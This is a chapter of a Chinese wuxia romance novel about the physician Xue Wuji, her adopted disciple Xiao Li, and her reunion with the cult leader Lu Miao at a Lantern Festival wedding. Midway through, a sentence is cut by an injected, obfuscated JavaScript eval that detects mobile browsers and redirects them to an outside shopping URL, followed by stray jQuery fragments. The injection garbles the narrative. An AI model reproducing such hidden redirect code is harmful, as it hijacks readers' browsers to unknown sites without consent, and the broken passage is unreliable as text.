那几年江湖上战乱频发,不少孩童在纷争中失去亲人,年幼的萧璃便是其中之一。她的父母在她四岁时被一群身穿斗篷的寻霜教黑衣人捉走,然后就再没有回来。
在被捉走前,母亲绝望地将她藏进柜子。弱小的少女蜷在其中大气不敢出,直到那群穷凶极恶的匪徒离去才敢将柜门推开条缝,然后战战兢兢地走出来。
“爹?娘?”
站在一片狼藉的屋舍内看着周围乱象,萧璃无助得快要哭出来。年仅四岁的她就这样成了孤家寡人,找不到任何倚仗。
家里的伙食被寻霜教徒抢夺一空了,萧璃只能踉跄着独自走到镇子里。原先热情的街坊领居听到她家悲剧是寻霜教所致都纷纷退避三舍,生怕那帮杀人不眨眼的魔头顺藤摸瓜来找他们麻烦。
而就在举目无亲的小萧璃即将沦为街边饿殍时,雪无霁出现了。
那天回春谷主恰巧在附近帮一家人看了病,走出院门便看见团浑身脏污的身影蜷缩在路边。
她依稀可以辨认出那是个还算眉清目秀的女娃,莫名被那孩子瑟瑟发抖的模样惹起了恻隐之心,于是抬腿走了过去。
其实雪无霁之前并不打算收徒,她早就做好在西南山林里孤独终老的准备,也早就习惯了只有她一个活物的回春谷。但当狼狈脆弱的萧璃蜷作一团出现在她眼里的时候,雪无霁忍不住回想起了自己当年那段最无助的流浪时光。
那是段她此生都不愿回忆的噩梦,但噩梦发生时她也已经十三岁,有几分跟野狗抢食的能力。可面前这可怜无助的小女孩看上去却只有五岁不到,若再无人管恐怕很快就要横尸街头了……
世人常言“医者仁心”,就算一开始研习医道并非自愿,在医书中泡久了也潜移默化生出了几分悬壶济世之情。雪无霁于是走上前将小女孩抱起,给她买饭吃又将她带回了回春谷。
于是,雪无霁收了第一个徒弟。
不知是不是因为被雪无霁从小带大,萧璃的性格跟她师尊格外像。粉雕玉琢般的漂亮小女孩时常摆出副对一切事情都淡然处之的清冷态度,钻进藏经阁时却非常专注,躬身药田时虽不说话动作却也无比麻利。她不算吵闹却为雪无霁的生活添了不少乐趣,某天萧璃入睡后雪无霁来房里看着她,忽然就觉得心里有什么地方悄然融化了。
被迫“身死”后离开重云阁那么久,不管是陆邈还是阿颜晓毓,对她而言都像是两个世界的人了。这个名为“萧璃”的小女孩是她完全以“雪无霁”的身份认识的第一个亲近之人,也是将她当成师尊全心全意依赖的、她的新的家人。
雪无霁和萧璃的关系越来越亲近,二人比起师徒更像是母女,每天在回春谷里相依为命。她教给萧璃医术,带萧璃出去见世面,甚至起了再收一两个徒弟给萧璃作伴的心思。
有时雪无霁看着女娃在药田里忙碌的身影会想,这日子虽然开始得不明不白,现在却也还算不错。
至少,现在她身边有个能说会笑的活物。
但平静的日子没能过多久。变故发生在二十年前的上元节,也就是萧璃和江煜后面在石牢幻境中看到的那次灯会佳节。
灯会的地点是岭天城,城里管事的官员姓杨,前些日子传书请雪无霁出山为夫人治病。雪无霁欣然应允,来到岭天城后才知杨家大小姐要趁上元节出嫁,嫁的还是江湖人。
当天下午,杨夫人房内的老婆子拉着一脸面善的雪无霁八卦道:
“说起来,杨老爷家这女婿还是江湖上出了名的少年英雄呢!不知雪谷主可曾听说过?”
“哦,令坦叫什么名字?若真是在江湖上有头有脸的人物,那我说不定还认识。”
“害,雪谷主绝对认识!咱家女婿可是天下第一大帮白日山未来的掌门人,李平泽李少侠!”
时隔多年再听到这个名字,雪无霁产生了如同隔世一般的恍惚感。那老婆子却越说越起劲,直接滔滔不绝地给雪无霁讲全了岭天城中即将发生的事:
“但是听说啊,这李少侠前些日子得罪了寻霜教。有人给老爷报信说寻霜教那个十恶不赦的教主陆邈已经带着教徒潜入了岭天城,要在成亲的日子狠狠报复李少侠,从她手里抢什么东西嘞!”
老婆子不知雪无霁和陆邈之间的过往,因而也没有注意到神医在听到“陆邈”两个字后浑身不由自主颤了一下。而后雪无霁匆匆问了细节,便风尘仆仆回到杨大人为她安排的别院。
“师尊,你回来了。”
雪无霁刚推开门就看见萧璃坐在案前,女娃面前是摊开着的大本医书,面色沉静眸中却闪烁着名为欣喜的光芒。雪无霁道:
“阿璃,我们在岭天城多留几日可好?”
“为什么呀?”
“嗯……杨大人的女儿三日后要成亲,他害怕仇家作祟,便想让师尊待到大婚结束再走。”
“啊,那天晚上是不是还有灯会?阿璃可以和师尊一起去吗?”
萧璃不是爱撒娇打滚的性子,这时只是用水汪汪的漂亮眼睛自下而上盯着师尊,雪无霁却瞬间明白了她的渴求。一袭淡蓝色衣物的神医犹豫片刻,最终还是看着面前粉粉嫩嫩的小团子点了脑袋:
“可以。不过说好师尊那天要去见个人,可能不能随时陪着你哦。”
“师尊要去见谁呀?”
“去见……师尊的一位故人。”
上元节到来那晚,整座岭天城张灯结彩。全城上下都为杨大人和白日山的联姻而感到喜悦,大红灯笼挂满一个又一个屋檐,身穿大红衣裳的孩童将大街小巷闹得如同过年一样热闹。
萧璃毕竟是个五六岁大的小女孩,逛没多久就觉得累了,趴在雪无霁怀里沉沉失去了意识。雪无霁确定女娃睡去后心事重重叹了口气,将萧璃送回小院又点了安神香,这才重新出发向大片火树银花里走去。
她其实不确定陆邈会不会来,毕竟现下关于寻霜教的传闻到处都是,真实性完全不可考。可既然听到传闻她就想试试,万一……万一她今天真能在城中碰上陆邈呢?
雪无霁并不是个盲目自信的人,从当年很多事情里她能够确定,陆邈对她也有心意。
安置好萧璃后,她便能卸下身为师尊沉甸甸的责任和稳重,重新变回当年那个执着的重云阁薛映。她按照当年和陆邈游历时记下的陆邈躲藏习惯在城内四处寻找,终于在一家客店的隐秘房梁上发现那个熟悉的身影。
“陆哥哥。”
陆邈在听到雪无霁声音的时候愣了好一会,因为他早就以为雪无霁死了。男人难以置信地转过头,看见已武功尽失的雪无霁一身蓝衣站在下面,眸中带着淡淡的笑意。
“阿映!”
陆邈几乎是半刻都没犹豫,从房梁上飞身下去就一把抱住了雪无霁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837307|190866||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。他对雪无霁的幸存感到无比欣喜,可随即最近两年发生的种种映入他脑海,让他高大的身躯不由颤抖起来。
易时当年做了不少阴险动作,因此全天下都觉得重云阁薛映在那次剿匪里死了。陆邈得到消息后赶回重云阁却只赶上追悼,刚从宝库闭关三年出来的他悲痛过度一时压制不住体内翻涌的真气,还没进灵堂门就直接走火入魔大开杀戒。
那天的陆邈几乎可以说是理智全无。他误杀了重云阁的林阁主,还将雪无霁曾经的好友东方颜打到重伤不醒,就连江鸿书和程晓毓联手布阵都没能拦住他。
最后陆邈带着浑身鲜血逃出良安城,待到理智回笼时,一切都已来不及。他身上背了好几条沉甸甸的人命,重云阁新一任阁主程晓毓向全天下发了通缉令,重金悬赏他的人头。
昔日武林大会上最优秀的青年才俊,就这样成了人人喊打的恶徒。
再后来陆邈走火入魔的征兆愈发明显,加上个别仇家煽风点火,他的名字甚至成了能止小儿夜啼的存在。少数支持和崇拜他的人围聚到他身边成了寻霜教,这个魔教规模逐渐扩大,渐渐成了能和白日山、御风楼相抗衡的重大帮派。
前段时间,李平泽带白日山众人跟寻霜教交了手。那日的交战以陆邈获胜告终,李平泽却夺走了寻霜教一件至关重要的法宝,据说要在成亲时拿来讨夫人欢心。陆邈于是亲自率部潜入岭天城,要在李平泽大婚当日将那法宝拿回来。
只是他这时无暇和雪无霁解释这么多。他只是紧紧抱着失而复得的人,浑身上下都压抑不住地不停颤抖。他黑色的眸子里这时候盈满惊喜和难以置信:
“阿映,你还活着……你这两年去哪里了,哥哥怎么找都找不到你……”
再次见到陆邈雪无霁也很开心,泪水在她眼眶里打转,就算平日再独立见到陆邈她也忍不住委屈。陆邈抱她太紧勒得她有点喘不过气,于是她伸手轻轻推了推陆邈宽大的胸膛。
陆邈向来最怕她痛,感受到这动作忙将雪无霁放开,心中汹涌着万千情愫因而一时不知该如何说起。
雪无霁仰头看着男人带有胡茬的脸,开口时不由有点哽咽:
“我在回春谷,遇到很多事然后成了谷主,这些事稍后再跟你讲——陆哥哥,我想知道你最近过得怎么样?真……真像他们说的那样吗?”
回春谷向来避世,可雪无霁的消息却不闭塞。问出口时她心中其实已有答案,但见到陆邈低头沉默眼神躲闪,心中还是不由生出难受。
全都错了,一切不知从什么时候起就全都错了。她从头到尾没遇上任何一件真正搞砸一切的大事,可结果就是他们这对曾潇洒幸福的“兄妹”遭逢不幸,一人重伤后勉强捡回条命却被困幽谷,另一人武功大涨却误入歧途最终沦为人人喊打。
“哥……”
上元灯会的烟火在客店窗外炸响,人群簇拥着李平泽接亲的高头大马从宽阔街道上流过,大婚时喜悦至极的热闹气氛却丝毫侵入不了这愈发让人如坠冰窟的房间。
陆邈眸中闪过挣扎和愧疚,他开口想解释什么,雪无霁却骤然抓住他的衣领。恶贯满盈的大魔头这时竟斗不过一个武功尽废的柔弱女子,陆邈还未来及做出反应,就被雪无霁直直推到了墙上。
窗外又一朵烟花轰然爆开,接着一身蓝衣的女子抬起头,有些粗暴地吻上了他的嘴唇。